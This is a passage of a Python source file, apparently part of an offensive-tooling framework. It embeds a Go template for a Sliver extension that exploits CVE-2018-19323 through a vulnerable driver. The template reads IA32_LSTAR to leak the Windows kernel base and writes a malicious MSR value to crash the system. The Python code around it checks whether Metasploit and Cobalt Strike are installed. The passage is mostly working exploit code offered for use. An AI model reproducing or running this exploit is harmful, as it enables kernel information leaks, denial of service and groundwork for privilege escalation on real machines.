unsafe.Sizeof(msrStruct),
uintptr(unsafe.Pointer(&bytesReturned)),
0,
)
if ret == 0 {{
return 0, err
}}
return msrStruct.Value, nil
}}
func writeMSR(handle syscall.Handle, msr uint32, value uint64) error {{
msrStruct := MSRStruct{{
Operation: 0,
Register: msr,
Value: value,
}}
var bytesReturned uint32
ret, _, err := procDeviceIoControl.Call(
uintptr(handle),
IOCTL_GIO_MSRACCESS,
uintptr(unsafe.Pointer(&msrStruct)),
unsafe.Sizeof(msrStruct),
uintptr(unsafe.Pointer(&msrStruct)),
unsafe.Sizeof(msrStruct),
uintptr(unsafe.Pointer(&bytesReturned)),
0,
)
if ret == 0 {{
return err
}}
return nil
}}
func exploitCVE201819323(ctx context.Context, req *sliverpb.CVE201819323Req) (*sliverpb.CVE201819323Resp, error) {{
resp := &sliverpb.CVE201819323Resp{{
Response: &commonpb.Response{{}},
}}
// Open handle to vulnerable driver
handle, err := openDriver()
if err != nil {{
resp.Response.Err = fmt.Sprintf("Failed to open driver: %v", err)
return resp, nil
}}
defer procCloseHandle.Call(uintptr(handle))
// Read IA32_LSTAR to leak kernel base
lstar, err := readMSR(handle, IA32_LSTAR)
if err != nil {{
resp.Response.Err = fmt.Sprintf("Failed to read IA32_LSTAR: %v", err)
return resp, nil
}}
kernelBase := lstar & 0xFFFFFFFFFFF00000
resp.KernelBase = kernelBase
resp.LstarValue = lstar
resp.Success = true
switch req.Method {{
case "check":
resp.Output = fmt.Sprintf("CVE-2018-19323 vulnerability confirmed\\nKernel base: 0x%016X\\nIA32_LSTAR: 0x%016X", kernelBase, lstar)
case "token_steal":
resp.Output = "Token stealing exploit would be executed here"
case "bsod":
maliciousValue := uint64(0xDEADBEEFCAFEBABE)
err = writeMSR(handle, IA32_LSTAR, maliciousValue)
if err != nil {{
resp.Response.Err = fmt.Sprintf("Failed to write malicious MSR: %v", err)
}} else {{
resp.Output = "Malicious MSR value written - system should crash"
}}
default:
resp.Response.Err = "Unknown method"
}}
return resp, nil
}}
func init() {{
# Register the extension with Sliver
}}
"""
extension_path = f"/tmp/{extension_name}.go"
with open(extension_path, 'w') as f:
f.write(extension_content)
return extension_path
def is_metasploit_available(self):
return self.metasploit_path is not None
def is_cobalt_strike_available(self):
return self.cobalt_strike_path is not None
def get_framework_status(self):
return {
"metasploit": {
"available": self.is_metasploit_available(),
"path": self.metasploit_path
},
"cobalt_strike": {
"available": self.is_cobalt_strike_available(),
"path": self.cobalt_strike_path
}
}